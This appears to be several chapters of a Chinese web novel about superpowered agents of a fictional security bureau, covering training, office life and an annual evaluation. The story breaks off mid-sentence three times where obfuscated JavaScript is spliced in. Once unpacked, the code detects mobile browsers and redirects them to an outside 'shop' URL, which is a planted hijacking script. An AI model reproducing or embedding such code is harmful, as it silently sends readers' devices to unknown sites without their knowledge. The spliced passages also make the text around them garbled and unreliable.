会织毛线,且手艺精湛。 2. 相亲时紧张但真诚。 3. 缘分妙不可言,相亲对象竟是同事。 4. 硬汉的温柔,最动人。 写完后,她笑了。 明天又是训练日。 但今晚,她先享受这份温馨。 48. 林墨的能力突破 周四下午,特保局地下三层训练区。 林墨站在那堵深灰色的特制训练墙前,深吸了一口气,闭上眼睛。 八米。 墙的另一头,那个小小的金属盒里装着特制芯片,红色指示灯在昏暗的训练场另一端明明灭灭,像某种无声的催促。 “林墨,第八次尝试。”陈树的声音从观察室的扩音器传来,平静得不带一丝波澜,“记住,穿墙不是对抗,是融入。找到你自己的节奏。” 杨晓晓站在观察窗前,戴着一只降噪耳机——不是用来屏蔽声音,而是为了更清晰地捕捉林墨的状态。她能听到林墨加快的心跳,听到他手心微微出汗时与裤缝摩擦的细微声响,听到他调整呼吸时鼻腔的轻颤。 这些声音编织在一起,勾勒出一个紧张的、却异常专注的林墨。 “开始吧。”陈树说。 林墨动了。 第一步踏出,脚尖触碰到墙体表面的瞬间,杨晓晓捕捉到了一声极其细微的嗡鸣——那是林墨身体频率与墙体物质开始共振的声音。接着,他的脚开始“融化”般没入墙面,没有阻滞,没有停顿,流畅得像是沉入温度正好的水面。 观察室里,雷昊紧盯着屏幕上的数据流:“深度一米……频率匹配度96%,优秀!比上次又提高了两个百分点!” 熊毅抱着手臂站在一旁,没有说话,但杨晓晓注意到他的指尖在手臂上轻轻敲击——那是熊毅紧张时的习惯动作。 两米、三米、四米…… 林墨的前进速度稳定得惊人。杨晓晓闭上眼睛,让自己的听力完全聚焦于训练场。她听见林墨平稳的呼吸节奏,听见他体内血液奔流的声音,听见肌肉纤维在能力作用下微妙振动的频率。 这些声音组成了一首奇异的交响,讲述着一个能力者如何与物质世界进行最亲密的对话。 五米、六米…… “进入复合层。”雷昊的声音压低了些,“金属网、缓冲凝胶、还有一层模拟的防爆涂层……” 林墨的身体明显顿了一下。 杨晓晓的耳朵捕捉到了那瞬间的异样——林墨身体振动的频率出现了紊乱,像是琴弦突然走了调。接着,她听到了林墨吸气时那一声几不可闻的停顿。 他在疼。 穿墙不是毫无感觉的。林墨曾经含糊地提过,遇到特殊材质时,那种感觉像是“身体被拆解成分子,然后在另一边重新拼装”。而某些材质会让这个过程变得……不顺畅。 “调整频率,林墨。”陈树的声音依旧平稳,“不要对抗,要适应。” 几秒钟的静止。 训练场里安静得只剩下通风系统低沉的嗡鸣。杨晓晓能听见自己的心跳,听见雷昊在控制台前敲击键盘的轻响,听见熊毅屏住呼吸时胸腔的微震。 然后,她听见了。 一声极轻、极细微的“嗒”,像是某种锁扣被打开的声响。 林墨找到了频率。 他重新开始移动,比之前稍慢,但每一步都更稳、更坚定。七米、七米五、七米八…… “最后一层,防穿透涂层。”雷昊几乎是在耳语,“这东西是上周刚加上的,理论上……” 他没有说完,但杨晓晓知道后半句是什么:理论上,以林墨目前的能力水平,还无法穿透这种涂层。 墙内,林墨的动作再次停滞。 这一次的停滞比上次更久。杨晓晓能听见林墨咬紧牙关的声音,能听见他手指因为过度用力而关节发白的细微摩擦声,能听见汗水从额头滴落、砸在墙内结构上的轻响。 一滴、两滴…… 时间像是被拉长了。每一秒都沉甸甸的。 “林墨,不行就退出来。”陈树的声音终于有了一丝变化,“安全第一。” 但墙内没有回应。 杨晓晓睁开眼睛,看向观察窗外。林墨的身体已经完全没入墙体,只能从监测屏幕上看到代表他位置的红点在缓慢、极其缓慢地移动。 七米八五、七米九…… 雷昊盯着屏幕,眼睛都不敢眨:“他在……他在调整频率,试图和涂层共振……这需要极其精细的控制……” 七米九五…… 突然,杨晓晓听见了一声异响。 不是从墙内传来的,而是从她身后——是熊毅握紧了拳头,指节发出轻微的“咔”声。 几乎同时,训练场里传来一声闷哼。 是林墨。 接着,监测屏幕上的红点猛地向前一窜—— 八米! 下一秒,墙的另一侧,林墨的身影从墙体中浮现。他踉跄一步,单膝跪地,一只手撑在地面上,另一只手却高高举起,紧握着那个金属盒。 盒子上的红灯,已经变成了稳定的绿色。 “成功了……”雷昊喃喃道,然后猛地跳起来,“成功了!八米!携带物品!林墨你做到了!” 杨晓晓冲出观察室,熊毅紧随其后。两人跑到训练场另一端时,林墨还跪在地上,大口喘着气,汗水已经浸透了训练服,脸色苍白得吓人。 但他的眼睛亮得惊人。 那只举起的手稳稳地握着金属盒,没有一丝颤抖。 “林墨,”杨晓晓蹲下身,小心地检查他的状态,“你怎么样?有没有哪里受伤?” 林墨摇摇头,想说些什么,却只是咳嗽起来。熊毅已经递过来能量饮料,拧开盖子:“慢慢喝。” 陈树走了过来,没有立刻说话,而是先接过林墨手中的金属盒,检查了芯片状态。绿灯稳定,数据完整。他这才看向林墨,仔细打量这个几乎虚脱的年轻人。 “穿墙距离八点二米,”陈树的声音恢复了平日的冷静,“携带物品重量两百克,耗时五十三秒。频率匹配峰值达到97%,最后突破涂层时的瞬时匹配度……99.2%。” 他顿了顿,看向林墨:“你超常发挥了。” 林墨终于缓过气来,露出一个虚弱的笑容:“我……我做到了。” “你做到了。”陈树重复道,这一次,他的声音里有了温度,“而且做得很好。” --- 晚上十点,国安局宿舍区七楼。 杨晓晓在自己的房间里整理今天的训练笔记。她的房间朝南,窗外是内部庭院,夜色中只有几盏地灯散发着柔和的光晕。房间陈设简单——床、书桌、衣柜、小冰箱,但隔音做得极好,给了她难得的安静空间。 笔尖在纸上沙沙作响,记录着林墨今天的突破细节:频率调整模式、遇到阻力时的应对策略、最后突破涂层的瞬间数据…… 她写得很专注,直到耳朵捕捉到一丝异样。 不是来自门外走廊——走廊里偶尔有晚归的同事脚步声,她已经习惯了。这声音来自……墙壁内部? 极细微的振动,沿着建筑结构传递,从楼下往上来。节奏很特殊,小心翼翼,却又带着某种熟悉的频率…… 杨晓晓放下笔,侧耳倾听。 振动经过六楼,继续向上。到七楼了,沿着走廊外墙水平移动……然后转弯,进入她这一侧的墙体。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191488|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨了眨眼,忽然明白了什么。 几秒钟后,她床头的墙壁表面泛起了水波般的涟漪。一只手从墙内探出,动作轻柔得像是怕惊扰了什么。那只手摸索到床头柜的边缘,轻轻放下一个小盒子,然后迅速缩了回去。 墙壁恢复原状,仿佛什么都没发生过。 杨晓晓打开床头灯。柜子上是一个系着浅蓝色丝带的纸盒,下面压着一张字条。林墨工整的字迹: **晓晓:** **谢谢。** **——林墨** 她打开盒子。里面是一盒手工巧克力,每颗形状都不同,附着一张标注口味的小卡片。角落里有只毛线织的小猫挂件——针法细密整齐,一看就是熊毅的手艺。 杨晓晓忍不住笑了。她拿起手机,群里已经热闹起来。 雷昊:“@所有人我桌上突然多了个U盘!最新版降噪算法!林墨是你吗?!太够意思了!” 熊毅:“窗台有盆仙人掌。” 杨晓晓笑着打字:“@林墨巧克力和小猫收到了,谢谢。不过你是怎么做到同时‘访问’三个房间的?” 林墨过了一会儿才回复:“……一个个送的……先雷昊……再熊毅……最后晓晓……” 雷昊:“等等!你是穿墙进来的?!我完全没感觉!” 熊毅:“我听见墙壁振动了,但以为是建筑正常声响。” 杨晓晓:“我也听见了。林墨,你现在穿墙的动静真的很小了,几乎难以察觉。这是个大进步。” 就在这时,陈树的头像跳了出来:“@所有人后勤部报告,七楼宿舍区检测到异常结构振动。林墨,解释。” 群里瞬间安静。 几秒后,林墨弱弱回复:“……对不起陈队……我送了小礼物……” 陈树:“礼物可以送,但方式要合规。宿舍区严禁未经允许使用穿墙能力进入他人房间。林墨,明天交八百字检讨,说明错误及改正方案。” 雷昊:“陈头别啊!林墨是好心!” 陈树:“好心也要守规矩。今天你能穿墙送礼物,明天别人能不能穿墙进来?规定保护的是每个人的隐私和安全。林墨,明白吗?” 林墨:“……明白了。” 杨晓晓私聊林墨:“别难过,陈队说得对。你的心意我们收到了,很感动。” 林墨:“嗯……我就是想谢谢大家……” “我们都感受到了。”杨晓晓打字,“你今天的突破,我们都为你骄傲。” 放下手机,杨晓晓拿起一颗巧克力放进嘴里。黑巧的微苦在舌尖化开,随后是淡淡的橙子香气。 她看着那只毛线小猫,又看看窗外安静的庭院,心里涌起一股暖意。 林墨的突破,不只是八米穿墙的数据刷新。那是他从“能做到”到“能做到最好”的跨越,是从“参与者”到“核心力量”的蜕变。 而陈树的严厉,也并非不近人情。他是在教林墨,教他们所有人——能力越大,需要遵守的规则就越重要,需要承担的责任就越重。 这就是他们的成长。 在一次次训练中突破极限,在一次次错误中学习规则,在一次次互动中加深羁绊。 窗外的夜色深了,国安局大楼的灯光一盏盏熄灭。 但杨晓晓知道,明天太阳升起时,他们还会站在训练场上,还会面对新的挑战,还会继续向前。 而此刻,在巧克力的余香里,在队友给予的温暖中,她感到前所未有的踏实。 这条路,他们一起走。 49. 行政部的“风水大师” 周五上午十点,深蓝科技行政部。 杨晓晓坐在工位上处理着一沓报销单,耳朵却敏锐地捕捉到一种新的异常声音——不是空调,不是打印机,而是来自……茶水间的方向? 那是一种极细微的、间歇性的“滴滴”声,每隔七八秒响起一次,频率很高,像是某种电子设备的提示音,但音量被刻意调得很低,低到普通人即使在安静的办公室里也很难注意到。 王姐正在整理下周的会议安排,似乎完全没听到这个声音。 杨晓晓放下手里的笔,侧耳细听。声音来自茶水间的咖啡机旁边,不,不是咖啡机……是那台新装的智能饮水机? 她起身走向茶水间,王姐抬头问:“怎么了?” “饮水机好像有点问题。”杨晓晓说,“我听到异常的提示音。” 王姐跟着走过来。两人站在饮水机前,杨晓晓俯身仔细听,王姐也努力听了听,却摇摇头:“没什么声音啊?” “很轻,每隔几秒响一次。”杨晓晓说,“可能是水位传感器或者滤芯寿命提示,但按理说那种提示音会更大声才对。” 她打开饮水机的维护面板,仔细检查里面的指示灯。果然,一个写着“滤芯寿命”的红色指示灯在微弱地闪烁,但没有任何声音发出。 “指示灯在闪,但没声音啊。”王姐说。 “内部蜂鸣器可能坏了,但电路还在发出信号。”杨晓晓推测道,“这种高频的电子提示音,普通人确实很难听到。” 她打电话给后勤部。维修工很快来了,拆开饮水机检查后,发现确实是蜂鸣器故障,但传感器电路还在正常工作,所以会发出人耳几乎听不到的高频提示信号。 “这都能听出来?”维修工惊讶地看着杨晓晓,“这种高频信号,我都是用专业设备检测的。你耳朵也太灵了吧!” 王姐的表情已经从惊讶变成了难以置信:“晓晓,你这耳朵到底是怎么长的?上次听出复印机滚筒轴承有问题,上上次听出应急照明灯的电池快要耗尽,这次连饮水机的高频提示音都能听到……” “我就是对高频声音比较敏感。”杨晓晓解释道,心里却在想:这其实是陈树布置的训练内容之一——在复杂环境中准确识别并定位高频声源。 本以为这事就到此为止。没想到,到中午休息时,整个行政部都传开了—— “听说没?杨晓晓能听到饮水机都发不出来的声音!” “何止,她上次还听出小王电脑主板的电容鼓包了!” “简直是行走的声波检测仪啊!” 于是下午一上班,各种“求助”就找上门来。 先是技术部的小李抱着一台笔记本电脑过来:“晓晓,帮我听听我这台电脑的风扇,总觉得声音不太对。” 接着是财务部的小张拿着一台计算器:“我们部门的计算器按键声音怪怪的,你听听是不是里面弹簧松了?” 甚至连人事部的刘姐都来了:“晓晓啊,我办公室那盆绿萝,叶子老是沙沙响,是不是该浇水了?” 杨晓晓哭笑不得地一一应付。绿萝叶子响是正常的蒸腾作用啊刘姐!但她还是认真听了听,然后给出了专业的植物养护建议。 到了下午三点,“杨晓晓的耳朵”已经成了公司内部的都市传说。 王姐看着络绎不绝来找杨晓晓的人,忍不住打趣:“晓晓,要不咱们合伙开个副业?你负责‘听诊’,我负责接单,公司内部价八折,外部客户原价。名字我都想好了,就叫‘晓晓声学诊断室’!” “王姐!”杨晓晓赶紧摆手,“我就是耳朵灵一点,哪能当生意做啊。” “怎么不能?”王姐认真地说,“你这能力,不开个声学咨询工作室都可惜了。一次诊断收三百,一天接五单就是一千五,一个月下来……” “王姐!”杨晓晓赶紧打断,“我这就是普通的天赋,没什么特别的。而且上班时间搞这些不合适。” 话虽这么说,但杨晓晓心里清楚,她这“天赋”背后,是特保局每天三小时的专业听力训练,是陈树严苛到近乎残酷的多声源分辨练习,是无数次在嘈杂环境中保持专注的磨砺。 不过换个角度想,能在普通职场中自然而然地运用这些训练成果,还能帮助同事解决实际问题,确实让她感到一种别样的成就感。 快下班时,市场部的大周神秘兮兮地凑过来:“晓晓,听说你能通过声音判断物品状态?那……能帮我听个东西吗?” 他从口袋里掏出一个巴掌大小的黑色物体,用布包着。 杨晓晓一看那形状和包裹方式,心里立刻警惕起来——这不太像普通的办公用品。 “这是什么?”她问。 “呃……一个……古董怀表。”大周眼神闪烁,“我爷爷传下来的,最近不走了,但我又不敢随便找钟表店修。听说你能通过听机械运转判断问题,所以……” 杨晓晓接过那个用布包裹的物体,没有立刻打开,而是先侧耳细听。 没有机械运转的声音,没有齿轮摩擦,甚至连最基本的发条张力都没有。但她听到了别的声音——极其微弱的、有规律的电子脉冲声,还有……金属外壳内某种液体的轻微晃动声? 这根本不是怀表。 她不动声色地把东西递回去:“周哥,这东西内部结构很复杂,我听不出来。建议您找专业的古董钟表鉴定师。” 大周眼神闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191489|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝失望,但很快掩饰过去:“哦哦,好的好的,谢谢啊。” 拿着东西匆匆走了。 杨晓晓看着他的背影,心里已经拉响了警报。刚才那东西的声音特征,她在特保局的违禁品识别训练中听到过类似的——那应该是一个经过伪装的微型信号发射器,或者是某种监听设备。 她回到工位,用特保局配发的加密手机给陈树发了条简短信息:“公司同事疑似携带非常规电子设备,需要调查吗?” 几分钟后,陈树回复:“先观察,记录特征,不要打草惊蛇。周一例会汇报。” “收到。” 放下手机,杨晓晓深吸一口气。这才是她真正的工作——在看似平静的日常中,敏锐地捕捉异常,守护安全。 至于同事们那些“晓晓帮我听听这个”“晓晓帮我听听那个”的请求,不过是她双重生活中最表层的涟漪。 真正的暗流,始终在平静水面之下。 下班时,王姐一边收拾东西一边说:“晓晓,周末有什么安排?要不要跟我们去爬山?行政部几个姐妹约好了。” “不了王姐,我周末有点事。”杨晓晓说,“下次一定。” 她没说谎。周末确实“有事”——明天要去特保局参加一场关于新型窃听设备的识别训练,后天还有和林墨、雷昊、熊毅约好的团队复盘会。 走出办公楼时,夕阳正好。手机震动,是“深蓝幼儿园”群里的消息。 雷昊:【@所有人周末训练计划出炉!明天上午九点,声学实验室集合,新设备到了!】 熊毅:【收到。】 林墨:【需要我带什么吗?】 雷昊:【带耳朵就行!这次是新一代声波武器的识别训练,据说能模拟三十七种不同的监听设备信号!】 杨晓晓笑着打字:【收到。明天见。】 收起手机,她走向地铁站。夕阳把她的影子拉得很长,一半在光里,一半在影中。 就像她的生活,一半在阳光下,是普通公司的行政专员,帮同事“听诊”各种办公设备,被戏称为“风水大师”。 另一半在阴影里,是特保局的听力能力者,接受专业训练,执行秘密任务,守护着不为人知的防线。 但无论是哪一面,她都在用自己的方式,认真地生活,认真地守护。 这就够了。 地铁到站,她刷手机进站。车厢里拥挤而嘈杂,但她的心很静。 明天,又是新的一天。 有训练,有队友,有成长。 还有那份隐藏在普通日常之下的、沉甸甸的责任。 而她会继续前行,一步一步,稳稳地走在属于自己的路上。 50. 突如其来的考核 周一早晨,杨晓晓刚走进特保局地下三层训练区,就感觉气氛不对。 平时这个时间,训练区只有零星的几个人在做晨练,今天却站了二十多人,分成了几个小组,每个小组前都站着一位拿着记录板的考官。训练区的设备也全部开启,各种指示灯闪烁不停。 “晓晓,这边!”雷昊在不远处挥手。 杨晓晓走过去,看到自己的小队成员已经到齐了。陈树站在他们面前,表情比平时更严肃。 “年度能力测评,今天开始。”陈树言简意赅,“局里统一组织,所有外勤人员都要参加。测评结果决定明年的人员配置、任务等级和津贴标准。” 杨晓晓心里一紧。她加入特保局才几个月,就要参加年度测评?她看向雷昊,雷昊给了她一个“别担心”的眼神。 “你们小队的测评官是郑教官。”陈树指向不远处一位五十多岁、头发花白但腰板笔挺的男人,“他是局里的资深教官,参加过对越反击战,退休后返聘。要求严格,但公平。好好表现。” 郑教官走了过来。他身材不高,但步履沉稳,眼神锐利得像鹰。他扫视四人,目光在杨晓晓身上多停留了一秒。 “杨晓晓,新来的听力能力者。”郑教官声音低沉,“我看过你的训练记录。潜力不错,但稳定性不够。今天让我看看你的真实水平。” “是,教官。”杨晓晓站直身体。 “测评项目共五项。”郑教官翻开记录板,“第一项,多目标监听。你们面前有五个声源,同时播放不同内容。任务:在十分钟内,准确记录每个声源的关键信息。错一处扣十分,满分一百分。” 训练区中央升起五个圆柱体,每个都发出不同的声音。杨晓晓戴上特制耳机,调整到测评模式。 “开始!” 声音同时涌入耳朵: 一号声源:一段外语新闻播报(俄语?) 二号声源:两个人的对话,背景有街道噪音 三号声源:机器运转声,夹杂着警报 四号声源:一段音乐,但有几个音符被替换成了其他声音 五号声源:极其微弱的心跳声,几乎被其他声音淹没 杨晓晓闭上眼睛,集中精神。她像指挥交响乐一样,给每个声音分配不同的注意力权重。 一号,俄语新闻……关键词“经济合作”“双边会谈”“签署协议”……记下来。 二号,对话……“明天下午三点”“老地方”“货到了”……疑似非法交易?记下来。 三号,机器声……频率稳定,但每隔三十秒有一次异常的“咔哒”声……可能是故障前兆。警报声是火警,音调很高。 四号,音乐……肖邦的夜曲,但第三小节第二个音符被换成了电话拨号音,第七小节被换成了狗叫声……故意的干扰。 五号,心跳……微弱,但规律。心率大约每分钟六十五,健康成年人的正常范围。等等,心跳突然加速了?现在八十五……又慢了……这个人在紧张? 十分钟到。 “停!”郑教官按下计时器。 杨晓晓摘下耳机,额头上已经冒汗。她拿起笔,在答题板上快速写下听到的内容。 郑教官收走答题板,现场与标准答案核对。他的表情没有任何变化,只是用红笔在上面勾画。 “一号声源:俄语新闻,内容关于中俄经济合作,提到三个关键词,你写对了两个,‘签署协议’漏了。扣三分。” “二号声源:对话,内容是毒品交易暗语。你写对了时间地点,但‘货’指的是‘新型合成毒品’,你没听出来。扣五分。” “三号声源:模拟工厂设备,异常声音是轴承磨损,你判断为‘故障前兆’,正确。警报类型判断正确。不扣分。” “四号声源:音乐中的异常声音,你全部找出,正确。不扣分。” “五号声源:心跳声,你听出了心率变化,正确。但没听出这是两个人的心跳叠加——一个成年人,一个婴儿。扣五分。” 郑教官抬头:“总分八十七。中等偏上。但注意,你在处理二号声源时,被一号声源的音量干扰,错过了关键信息。分配注意力能力需要加强。” 杨晓晓点头:“是,教官。” 第二项测试:噪音环境筛选。 他们被带到一个模拟街区的训练场,里面同时播放着至少二十种声音:车辆鸣笛、人群喧哗、商店音乐、施工噪音……而在这些噪音中,隐藏着三个需要监听的“目标对话”。 这次杨晓晓表现得更好。她学会了“分层过滤”——把噪音当成背景,只聚焦于人的语音频率。十分钟内,她找到了所有三个目标对话,并记录了关键内容。 “九十二分。”郑教官难得地点头,“有进步。你学会了主动屏蔽无关信息。” 第三项:长时间持续专注。 杨晓晓被要求戴着一个脑波监测仪,持续监听一个时断时续的摩尔斯电码信号,持续三十分钟。信号极其微弱,且每隔几分钟就会完全消失十几秒,考验的是注意力的持久性和恢复能力。 这是最折磨人的测试。杨晓晓必须保持高度集中,又不能过度紧张导致疲劳。二十分钟时,她开始感到头晕,但咬牙坚持。 三十分钟结束,她几乎虚脱。但记录显示,她准确捕捉到了百分之九十五的信号。 “九十分。”郑教官看了一眼监测仪数据,“你在第二十三分钟时出现注意力波动,但很快调整回来。抗疲劳能力合格。” 三项基础测试结束,杨晓晓总分269/300,在同期新人中排名靠前。 但她知道,真正的考验在最后。 第四项:模拟营救人质。 训练场被改造成了一个模拟的银行大厅。里面有五名“人质”和两名“绑匪”。杨晓晓的任务是通过监听,判断绑匪的位置、武器、以及人质的状况,为突击小组提供情报。 “这次测试有额外难度。”郑教官说,“五名人质中,有一名是绑匪假扮的。你需要找出他。如果误判,可能导致突击失败和人质伤亡。明白?” “明白。”杨晓晓深吸一口气。 她戴上增强型监听耳机,进入观察室。透过单向玻璃,她能看到银行大厅里的情况,但主要依靠听力。 大厅里,五名人质坐在地上,双手被绑在身后。两名绑匪在巡逻,手里拿着(训练用的)假枪。一切看起来很正常。 杨晓晓闭上眼睛,屏蔽视觉干扰,专注听声音。 绑匪A在左边,脚步沉重,呼吸粗重,有点紧张。绑匪B在右边,脚步较轻,呼吸平稳,应该是老手。 五名人质:最左边的是个中年男人,呼吸急促,心跳很快,吓坏了。中间是个年轻女性,在小声啜泣。右边是个老人,呼吸有些困难,可能有呼吸道疾病。再右边是个胖男人,一直在嘟囔着什么。最右边是个戴帽子的年轻人,低着头,很安静。 等等。 杨晓晓皱眉。她重新“扫描”每个人的生理声音。 中年男人:心跳130,恐惧的正常反应。 年轻女性:心跳110,啜泣声真实。 老人:呼吸有轻微哮鸣音,但心跳稳定。 胖男人:心跳90,不算快,嘟囔的内容是“放了我,我有钱……” 戴帽子的年轻人:心跳……65?太稳了。而且他的呼吸节奏和绑匪B几乎同步。 杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191490|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓晓放大监听。她听到年轻人手腕上的绳索有极细微的摩擦声——不是被绑住的人挣扎的那种摩擦,而是有规律的、轻微的移动,像在调整姿势。 她还听到,当绑匪B走过年轻人身边时,有几乎听不见的、指甲轻轻敲击地面的声音——两短一长,像是某种信号。 而年轻人的心跳,在敲击声后,微微加快了一点,然后又恢复平稳。 这不是人质。 这是第三个绑匪,伪装成人质,准备在突击时里应外合。 “报告。”杨晓晓睁开眼睛,“五名人质中,最右边戴帽子的年轻人是绑匪假扮。理由:一,心跳过于平稳,与恐惧状态不符;二,呼吸节奏与绑匪B同步;三,手腕绳索有异常摩擦声;四,与绑匪B有秘密信号交流。” 郑教官盯着她看了几秒,然后按下通讯器:“突击组,注意,五号人质是绑匪假扮,优先控制。” 模拟突击开始。突击组冲进大厅,迅速制服两名巡逻绑匪。就在他们接近“人质”时,那个戴帽子的年轻人突然暴起,从袖子里滑出一把匕首——但突击组早有准备,瞬间将他按倒在地。 演习结束。 郑教官看着杨晓晓,脸上第一次露出笑容:“判断完全正确。你在那种压力下,还能注意到心跳、呼吸同步、细微摩擦声这些细节,很好。这一项,满分。” 杨晓晓松口气,这才发现自己的手心全是汗。 “四项总分369,评级A。”郑教官在记录板上写下评分,“杨晓晓,你的听力天赋确实很高,但更重要的是,你学会了用脑子听,而不是只用耳朵。这是优秀侦察员的素质。” “谢谢教官。”杨晓晓真心地说。 测评结束,小队成员聚在一起。雷昊的成绩是A-,熊毅是A,林墨是B+。大家都通过了。 “晓晓你可以啊!”雷昊拍她的肩,“A级!新人里没几个能拿A的!” “运气好。”杨晓晓谦虚。 “不是运气。”陈树走过来,“是你努力的结果。但别骄傲,明天还有最后一项测试。” “还有?”杨晓晓愣住。 “特殊环境测试。”陈树说,“在完全黑暗、完全隔音的环境里,用听力感知外界。这是对听力能力者的终极考验。” 杨晓晓心里一紧。完全黑暗,完全隔音……那意味着视觉和常规听觉都被剥夺,只能依靠超常听力。 她能行吗? “回去好好休息。”陈树说,“明天九点,隔音室见。” 回宿舍的路上,杨晓晓还在回想今天的测试。多目标监听、噪音筛选、持续专注、人质识别……每一项都挑战着她的极限。 但她都做到了。 而且做得不错。 她想起刚获得能力时的恐慌,想起第一次训练时的笨拙,想起陈树说的“每个人都要经历这个过程”。 现在的她,已经不再是那个被声音淹没的女孩了。 她是能够掌控声音、利用声音的战士。 手机震动,是王姐发来的消息:“晓晓,明天公司团建,去郊区农家乐,记得穿舒服的鞋!” 杨晓晓苦笑。明天她要在隔音室里接受终极测试,哪有时间去农家乐。 她回复:“王姐,我明天有点事,去不了了。你们玩得开心。” 放下手机,她躺在床上,闭上眼睛。 明天,终极考验。 她能通过吗? 她不知道。 但她会尽全力。 因为她是杨晓晓。 是“耳朵”。 是特保局的特工。 她必须通过。 带着这样的决心,她沉沉睡去。 51. 考核中的意外 周二上午九点,特保局地下五层,特殊测试区。 杨晓晓站在一扇厚重的金属门前。门是纯黑色的,没有任何窗户或缝隙,像一块巨大的墓碑。门上只有一个红色指示灯,此刻正亮着,表示里面正在使用。 “这是局里最先进的隔音室。”郑教官站在她身边,“墙壁、天花板、地面都是特制材料,能隔绝99.9%的声音。里面是全黑的,没有任何光源。你的任务:在里面待三十分钟,同时‘听’出室外三个移动目标的轨迹。” 他递过来一个特制耳机和眼罩:“戴上这些,进去后我们会关门。三十分钟后,门会自动打开。明白?” 杨晓晓接过设备。耳机是增强型的,能放大微弱声音,但也会带来更大的干扰。眼罩是完全遮光的,戴上后什么都看不见。 “明白。”她声音有点干。 “别紧张。”郑教官难得地语气温和,“这只是测试,不是实战。如果感觉不适,可以按下左手腕上的紧急按钮,我们会立刻终止测试。” 杨晓晓点点头,戴上眼罩和耳机,然后由郑教官引导着走进隔音室。 门在身后关闭,发出沉闷的“砰”声。 世界瞬间陷入绝对的黑暗和寂静。 不是普通的安静,而是一种……虚无。杨晓晓以前觉得自己的出租屋隔音差,后来觉得特保局宿舍隔音好,但现在她才明白什么是真正的“静”。 静得能听到自己的心跳,血液流动的声音,甚至关节细微的摩擦声。 静得让人心慌。 她深呼吸,努力让自己平静下来。耳机里传来郑教官的声音:“测试开始。三个目标正在移动,描述他们的轨迹。” 杨晓晓集中精神,把听力“延伸”出去。 隔音室确实能隔绝大部分声音,但不是完全。声音可以通过固体传导——地板、墙壁、空气振动。她要捕捉的就是这些极其微弱的传导信号。 一开始,什么都听不到。只有自己的呼吸声、心跳声,在寂静中被放大得可怕。 她调整呼吸,降低心跳频率——陈树教过她,在极端环境下,首先要控制自己的身体。 慢慢来……慢慢来…… 渐渐地,她开始“感觉”到一些东西。 不是清晰的声音,而是……震动。像把手放在音箱上,即使听不到声音,也能感觉到低频振动。 左边……有规律的震动,频率大约每秒两步,是脚步声。目标一,在向左移动。 右边……更轻微的震动,间隔不规则,时快时慢。目标二,在徘徊。 正前方……几乎没有震动,但偶尔有极其微弱的空气流动变化。目标三,静止不动?不,在极缓慢地移动,像在匍匐前进。 杨晓晓对着麦克风汇报:“目标一,在左方匀速移动,方向西北。目标二,在右方不规则移动,可能在观察或犹豫。目标三,正前方,极缓慢移动,可能在进行隐蔽接近。” “正确。”郑教官的声音传来,“继续。” 时间一分一秒过去。杨晓晓的额头开始冒汗。在这种极端环境下维持高度专注,消耗是平时的数倍。她感觉脑袋开始发胀,像要裂开。 十五分钟时,她出现了一次明显的分神。目标二的轨迹突然中断了几秒,她没捕捉到。 “集中。”郑教官提醒,“目标二改变了移动方式,现在在爬行。” 杨晓晓咬咬牙,重新聚焦。她调整监听频率,捕捉更低频的震动——爬行时身体与地面的摩擦震动。 找到了。目标二确实在爬行,向东南方向。 二十分钟,她开始耳鸣。这是过度使用能力的征兆。她想起医生的警告:感觉不适就立即停止。 但她不能停。这是测试,是考核。她必须完成。 二十五分钟,她的汇报开始出现错误。目标三的移动方向判断失误,郑教官纠正了她。 “还剩五分钟。”郑教官说,“坚持住。” 杨晓晓用指甲掐自己的手心,用疼痛来保持清醒。她重新调整状态,做最后的努力。 就在她准备汇报最后一段轨迹时—— “呜——呜——呜——” 刺耳的警报声突然响起,不是从测试系统里传来的,而是从外面,通过固体传导进来的真实警报! 杨晓晓猛地摘掉眼罩和耳机,但隔音室的门还没开。 “郑教官?发生什么了?”她对着麦克风喊。 没有回应。几秒后,隔音室的门突然打开,刺眼的灯光让她一时睁不开眼。 陈树站在门口,表情严峻:“测试中止。紧急情况,附近发生劫持事件,小队立刻出动!” 杨晓晓愣了一下,但立刻反应过来,冲出隔音室。 外面已经乱成一团。警铃声大作,特工们正在快速集结。郑教官在对陈树说:“她的测试还没完成……” “实战就是最好的测试。”陈树打断他,“杨晓晓,能行动吗?” 杨晓晓感觉头还在疼,耳鸣也没完全消失,但她用力点头:“能!” “好。换装备,五分钟后在停车场集合。雷昊、熊毅、林墨已经就位。” 五分钟后,特保局地下停车场。 